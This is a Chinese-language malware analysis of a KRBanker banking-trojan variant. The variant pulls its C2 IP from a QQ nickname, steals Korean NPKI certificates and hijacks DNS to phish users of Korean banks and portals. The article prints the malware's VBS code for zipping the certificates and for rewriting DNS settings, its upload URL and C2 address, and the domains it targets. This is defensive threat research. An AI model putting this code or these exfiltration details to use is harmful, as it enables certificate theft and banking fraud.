安全研究人员最近发现KRBanker家族新变种,其利用腾讯QQ空间的接口获取反弹连接IP,劫持本机DNS,拦截韩国银行网站钓鱼。本文将对其进行详细的分析。
0×01 概况
今天要介绍的是一款利用QQ空间反弹连接的恶意软件,这款软件主要通过溢出套件挂马传播,当通过挂马页面下载到受害机器上,利用QQ空间的信息获取反弹连接的服务器IP信息,通过下载另外的组件拦截韩国相关银行网站.窃取网银相关信息回传服务器。这个恶意软件属于KRBanker家族的新变种( Korea+Banker=KRBanker)攻击流程,如下图所示
首先通过kaixin、 gondad等溢出套件挂马,当访问挂马站点时溢出成功会下载一个EXE,它会安装自启动在目标系统中。查询QQ号的昵称信息,获取命令与控制(command and control)服务器的IP,收集银行证书上传.并篡改本地DNS服务器IP进行域名劫持。
0×02 技术细节
1) 获取控制服务器IP
黑客通过修改QQ昵称信息为木马的控制端IP, 木马通过查询QQ昵称信息的接口获取到昵称信息(nickname),就获得了控制IP.进而反向连接控制服务器,接收恶意指令。
通过QQ空间的API获取IP,nikename被设置为控制端IP
例如:其中 uin=为QQ号码
请求http://r.qzone.qq.com/cgi-bin/user/cgi_personal_card?uin=1474897680?=6330
返回信息
_Callback(
{"uin":1474897680,
"qzone":0,
"intimacyScore":0,
"nickname":"61.228.32.148",
"realname":"",
"smartname":"",
"friendship":0,
"isFriend":0,
"bitmap":"08009c8002000101",
"avatarUrl":http://qlogo1.store.qq.com/qzone/1474897680/1474897680/100});
如果用QQ查询可以直观的看到昵称被设置成IP格式:
黑客这么做的目的是利用QQ昵称保存IP信息,达到和动态域名相同的效果,一旦IP被封可以立即修改IP.同时也避免了使用动态域名被拦截的情况,比如国内的3322,f3322 等已经引起安全警惕。而采用qq空间网站域名,可以绕过针对域名拦截的IDS设备,顺利查询到控制IP。
获取C&C的IP后,获取本地MAC信息提交,如格式http://ip/Count.asp?ver=001&mac=xx-xx-xx-xx-xx-xx
2) 窃取证书上传
目前的网银保护机制主要包括密码,数字证书,手机短信,由于韩国的网银主要使用IE浏览器,并使用Activex作开发.其数字证书主要保存在磁盘上,位置包括%ProgramFiles%\NPKI和其他的U盘目录如下:
%DriveLetter%\NPKI
%ProgramFiles%\NPKI
%SystemDrive%\Documentsand Settings\All Users\Application Data\LocalLow\NP
该KRBanker变种会从这些NPKI目录中收集数字证书文件。遍历磁盘查询包含NPKI名称的文件夹
使用使用VBS脚本窃取主机内的证书,打包成ZIP文件
VBS脚本如下:
Sub Zip(ByVal mySourceDir, ByVal myZipFile)Set fso = CreateObject("Scripting.FileSystemObject")If fso.GetExtensionName(myZipFile) <> "zip"ThenExitSubElseIf fso.FolderExists(mySourceDir) ThenFType = "Folder"ElseIf fso.FileExists(mySourceDir) ThenFType = "File"FileName = fso.GetFileName(mySourceDir) FolderPath = Left(mySourceDir, Len(mySourceDir) - Len(FileName))ElseExitSubEndIfSet f = fso.CreateTextFile(myZipFile, True) f.Write "PK" & Chr(5) & Chr(6) & String(18, Chr(0)) f.CloseSet objShell = CreateObject("Shell.Application")SelectCase FtypeCase"Folder"Set objSource = objShell.NameSpace(mySourceDir) Set objFolderItem = objSource.Items()Case"File"Set objSource = objShell.NameSpace(FolderPath) Set objFolderItem = objSource.ParseName(FileName) EndSelectSet objTarget = objShell.NameSpace(myZipFile) intOptions = 256 objTarget.CopyHere objFolderItem, intOptions DoWScript.Sleep 1000LoopUntil objTarget.Items.Count > 0EndSub
在临时目录生成zip文件
开始回传收集的zip文件,回传URL地址为http://61.228.32.*/upload.php
协议类型: POST,name为upload_file1,分割特征为—–7da3e1bd0314
3)拦截银行网站和搜索门户
黑客还会通过拦截银行网站进行钓鱼,从而获取银行帐户密码等详细信息从而获得权限来访问受害者的账户.
DNS拦截过程主要分为两个步骤:
步骤1.修改DNS服务器设置为本机
修改的VBS脚本代码如下:
strGatewayMetric= Array(1) arrDNSServers= Array("127.0.0.1","8.8.8.8") strComputer= "."SetobjWMIService = GetObject("winmgmts:" _ &"{impersonationLevel=impersonate}!\\" & strComputer &"\root\cimv2")SetcolNetAdapters = objWMIService.ExecQuery _ ("Select* from Win32_NetworkAdapterConfiguration where IPEnabled=TRUE")ForEach objNetAdapter in colNetAdapters errEnable= objNetAdapter.EnableStatic(strIPAddress, strSubnetMask) errGateways= objNetAdapter.SetGateways(strGateway, strGatewaymetric) errDNS= objNetAdapter.SetDNSServerSearchOrder(arrDNSServers)IferrEnable = 0 ThenEndIfNext
设置主DNS服务器的地址为127.0.0.1
步骤2.监听本机53端口过滤拦截域名请求
通过端口查看工具可以看到恶意进程监听了本机0.0.0.0:53端口.
由于Krbanker木马将首选DNS服务器设置为127.0.0.1,这样所有的DNS请求将会转发给本机的53端口. Krbanker木马接收到域名请求会判断是否需要劫持域名,如果不需要劫持就构造一个域名查询的数据包直接发送到8.8.8.8获取真实IP反馈.如果需要劫持就篡改到钓鱼站点. 拦截的银行包括韩国农协银行(NH Bank)、新韩银行,友利银行、韩亚银行、国民银行、韩国外换银行、韩国中小企业银行、邮政银行。同时拦截韩国的综合性入口网站.包括Naver、Nate、Daum.拦截的网站域名如下:
www.nonghyup.com
nonghyup.com
banking.nonghyup.com
www.nonghyup.co.kr
nonghyup.co.kr
banking.nonghyup.co.kr
www.shinhan.com
shinhan.com
www.shinhanbank.com
shinhanbank.com
www.shinhanbank.co.kr
shinhanbank.co.kr
banking.shinhanbank.com
banking.shinhan.com
banking.shinhanbank.co.kr
www.hanabank.com
hanabank.com
www.hanabank.co.kr
hanabank.co.kr
www.wooribank.com
wooribank.com
www.wooribank.kr
wooribank.kr
www.wooribank.co.kr
wooribank.co.kr
www.kbstar.com
kbstar.com
www.kbstar.co.kr
kbstar.co.kr
www.keb.co.kr
keb.co.kr
ebank.keb.co.kr
online.keb.co.kr
www.ibk.co.kr
ibk.co.kr
www.ibk.kr
ibk.kr
mybank.ibk.co.kr
banking.ibk.co.kr
www.kfcc.co.kr
kfcc.co.kr
www.kfcc.com
kfcc.com
www.epostbank.co.kr
epostbank.co.kr
www.epost.kr
epost.kr
www.epostbank.kr
epostbank.kr
www.naver.com
naver.com
www.naver.net
naver.net
www.naver.co.kr
naver.co.kr
www.nate.com
nate.com
www.nate.net
nate.net
www.nate.kr
nate.kr
www.nate.co.kr
nate.co.kr
www.daum.net
daum.net
www.daum.co.kr
daum.co.kr
这些域名是加密保存在EXE当中,运行后解密用于拦截匹配.
0×03 总结
利用QQ这种方式传递信息和国外恶意代码利用社交网站做信息中转类似,都是为了躲避IDS的检测,同时具有良好的稳定性.在钓鱼拦截方面之前的krbanker家族采用的是hosts文件修改方法,而新的变种采用了本机53端口监听方式进行劫持更加隐蔽。
0×04 参考链接
[1]http://www.symantec.com/security_response/earthlink_writeup.jsp?docid=2014-120510-3326-99
[2]http://malware-traffic-analysis.net/2014/12/13/index.html
[3]http://www.malware-traffic-analysis.net/2015/01/31/index.html
[4]https://www.hybrid-analysis.com/sample/e9c6b5ba7083295562dd4ce0d1767e48a30267111bf486d6bb84421fa28542dd/
[5]http://intumyself.tistory.com/m/post/371
[6]http://www.wooyun.org/bugs/wooyun-2010-09633
[7]http://www.secdoctor.com/html/sec/23715.html
[8]http://www.freebuf.com/news/54637.html